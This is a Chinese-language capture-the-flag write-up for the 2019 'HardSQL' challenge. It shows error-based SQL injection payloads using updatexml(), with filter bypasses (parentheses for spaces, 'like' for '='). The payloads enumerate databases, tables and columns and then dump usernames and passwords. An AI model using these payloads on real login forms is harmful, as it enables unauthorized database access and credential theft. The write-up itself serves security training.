[极客大挑战 2019]HardSQL 1
首先打开题目,明显的发现这是一个sql注入的题:
![在这里插入图片描述](https://img-blog.csdnimg.cn/38c7af48b58d4cb18c176aacdb1b1d0c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA44CO6ZOB6Lqv55S16Iqv44CP,size_20,color_FFFFFF,t_70,g_se,x_16)
我们先用 ’ 和 " 测试是否有注入报错。
发现用 ’ 时报错:
![在这里插入图片描述](https://img-blog.csdnimg.cn/468a33eec8c64c469a4d5be89ad0313f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA44CO6ZOB6Lqv55S16Iqv44CP,size_20,color_FFFFFF,t_70,g_se,x_16)
所以这题很明显是有sql注入的,于是我们就利用用语句:
admin’ or 1=1#
测试得到:
发现这里是有过滤的于是就用BP跑一下,看过滤了些什么得到:
![在这里插入图片描述](https://img-blog.csdnimg.cn/b39830ad16a044fc9bb6ae1b77f3a384.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA44CO6ZOB6Lqv55S16Iqv44CP,size_20,color_FFFFFF,t_70,g_se,x_16)
发现过滤了空格,=,<>,>,<,!,substr等
所以我们先测试成功登录后的页面:
用:admin’or((1)like(1))#
得到:
页面返回登录成功,并无其它信息,但刚刚用’时出现报错
可能出现报错注入
于是我们用报错注入试试;
admin’or(updatexml(’~’,concat(’~’,database(),’~’),’~’))#
得到:
![在这里插入图片描述](https://img-blog.csdnimg.cn/5c34f4cf71d648e18d7daed659e63f35.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA44CO6ZOB6Lqv55S16Iqv44CP,size_20,color_FFFFFF,t_70,g_se,x_16)
成功报错库名,所以报错注入能成功
于是开始下一步:查看所有库名:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(schema_name))from(information_schema.schemata)),’~’),’~’))#
得到:
发现信息不完整于是想到可能长度不够,于是利用right(),从右边截取
长度看看:
用:
admin’or(updatexml(’~’,right(concat(’~’,(select(group_concat(schema_name))from(information_schema.schemata)),’~’),45),’~’))#
得到另一般信息:
![在这里插入图片描述](https://img-blog.csdnimg.cn/a867a285ec8d47e192b163241748fbdc.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA44CO6ZOB6Lqv55S16Iqv44CP,size_20,color_FFFFFF,t_70,g_se,x_16)
我们在查看当前数据库geek的表名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(“geek”))),’~’),’~’))#
然后,我们在接着查看表里面的字段名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(“H4rDsq1”))),’~’),’~’))#
![在这里插入图片描述](https://img-blog.csdnimg.cn/53a2c26dfcca4d3a910646fed52e20fb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA44CO6ZOB6Lqv55S16Iqv44CP,size_19,color_FFFFFF,t_70,g_se,x_16)
得到字段有id,username,password
我们一般都是想看用户名和密码:
查看用户名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(username))from(geek.H4rDsq1)),’~’),’~’))#
发现flag
在继续查看密码得到:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(password))from(geek.H4rDsq1)),’~’),’~’))#
![在这里插入图片描述](https://img-blog.csdnimg.cn/7fd10ca53c12492e8e6a0e045675f361.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA44CO6ZOB6Lqv55S16Iqv44CP,size_20,color_FFFFFF,t_70,g_se,x_16)
发现flag只有一般在查看另一般:
用:
admin’or(updatexml(’~’,right(concat(’~’,(select(group_concat(password))from(geek.H4rDsq1)),’~’),20),’~’))#
![在这里插入图片描述](https://img-blog.csdnimg.cn/821387d4a83244e89e583d74335dad28.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA44CO6ZOB6Lqv55S16Iqv44CP,size_20,color_FFFFFF,t_70,g_se,x_16)
得到完整的flag:
flag{e7534702-af2e-4fce-99e7-5d3734d4cab2}